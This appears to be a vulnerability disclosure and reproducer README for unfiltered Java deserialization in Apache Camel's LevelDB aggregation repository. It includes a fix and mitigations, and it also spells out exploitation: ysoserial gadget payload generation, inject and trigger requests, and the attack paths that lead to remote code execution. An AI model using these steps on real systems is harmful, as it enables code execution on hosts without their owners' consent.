Share
## https://sploitus.com/exploit?id=7F71735C-F7A7-5B0E-B9A9-03C3E0A2AD1E
# LevelDB Deserialization Vulnerability Reproducer

This project demonstrates a **Java deserialization vulnerability** in Apache Camel's LevelDB Aggregation Repository, similar to **CVE-2024-23114** (which affected the Cassandra Aggregation Repository).

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-leveldb` |
| **Affected Class** | `DefaultLevelDBSerializer.java` |
| **Vulnerable Methods** | `deserializeKey()`, `deserializeExchange()` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Remote Code Execution (RCE) |
| **Affected Versions** | All versions including 4.17.0 (unfixed as of testing) |

## Technical Details

The `DefaultLevelDBSerializer` class uses raw `ObjectInputStream` without any filtering:

```java
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}
```

Compare this to the **fixed** Cassandra implementation (since Camel 4.4.0):

```java
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}
```

## Prerequisites

- Java 17+
- Maven 3.8+
- ysoserial (for payload generation)

## Reproduction Steps

### Step 1: Build and Start the Application

```bash
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
```

### Step 2: Initialize the LevelDB Database

```bash
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
```

Expected output:
```
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject
```

### Step 3: Generate Malicious Payload

Download ysoserial and generate a payload:

```bash
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
```

### Step 4: Inject Payload into LevelDB

```bash
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt
```

Expected output:
```
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
```

### Step 5: Trigger Deserialization (RCE!)

```bash
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
```

This will iterate through all keys and call `repo.get()` which triggers deserialization!

### Step 6: Verify Exploitation

```bash
# Check if the command was executed
ls -la /tmp/pwned
```

If the file `/tmp/pwned` exists, the exploit was successful!

## Attack Vectors

The vulnerability can be triggered through multiple paths:

1. **Application Restart**: When Camel starts, it recovers incomplete aggregations from LevelDB
2. **Recovery Mechanism**: The periodic recovery scan deserializes stored exchanges
3. **Direct Access**: Any `get()` call on the repository triggers deserialization

## Exploit Conditions

For successful exploitation:

1. **Write Access to LevelDB**: Attacker must be able to write to the LevelDB database file
   - Shared filesystem
   - Compromised storage
   - Another vulnerability allowing file write

2. **Gadget Library on Classpath**: A library with exploitable gadget chains must be present
   - `commons-collections:3.2.1` (CommonsCollections1-7 gadgets)
   - `org.springframework:spring-core` (Spring gadgets)
   - Many others (see ysoserial)

## Comparison with CVE-2024-23114

| Aspect | Cassandra (CVE-2024-23114) | LevelDB (This Issue) |
|--------|---------------------------|----------------------|
| **Status** | Fixed in 4.4.0 | **UNFIXED in 4.17.0** |
| **ObjectInputStream** | Uses `ClassLoadingAwareObjectInputStream` | Uses raw `ObjectInputStream` |
| **Deserialization Filter** | `"java.**;org.apache.camel.**;!*"` | **None** |
| **JIRA** | CAMEL-20306 | Not yet filed |

## Recommended Fix

Apply the same fix as Cassandra:

1. Use `ClassLoadingAwareObjectInputStream` instead of raw `ObjectInputStream`
2. Add configurable `ObjectInputFilter` with safe defaults
3. Default filter: `"java.**;org.apache.camel.**;!*"`

Example fix for `DefaultLevelDBSerializer.java`:

```java
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}
```

## Mitigation

Until a fix is released:

1. **Restrict file access**: Ensure LevelDB files are only writable by the Camel application
2. **Remove gadget libraries**: If possible, remove or upgrade vulnerable libraries like commons-collections 3.x
3. **Use alternative serializer**: Configure `JacksonLevelDBSerializer` instead of `DefaultLevelDBSerializer`
4. **Network segmentation**: Isolate systems using LevelDB aggregation

## Files

```
potential-leveldb/
โ”œโ”€โ”€ pom.xml                          # Maven configuration with vulnerable deps
โ”œโ”€โ”€ README.md                        # This file
โ””โ”€โ”€ src/main/java/com/example/
    โ”œโ”€โ”€ Application.java             # Spring Boot entry point
    โ”œโ”€โ”€ LevelDBRoute.java           # Camel route using LevelDB aggregation
    โ”œโ”€โ”€ StringAggregationStrategy.java
    โ””โ”€โ”€ ExploitController.java      # REST endpoints for exploitation
```

## Disclaimer

This reproducer is provided for **security research and authorized testing only**. Do not use against systems without explicit permission.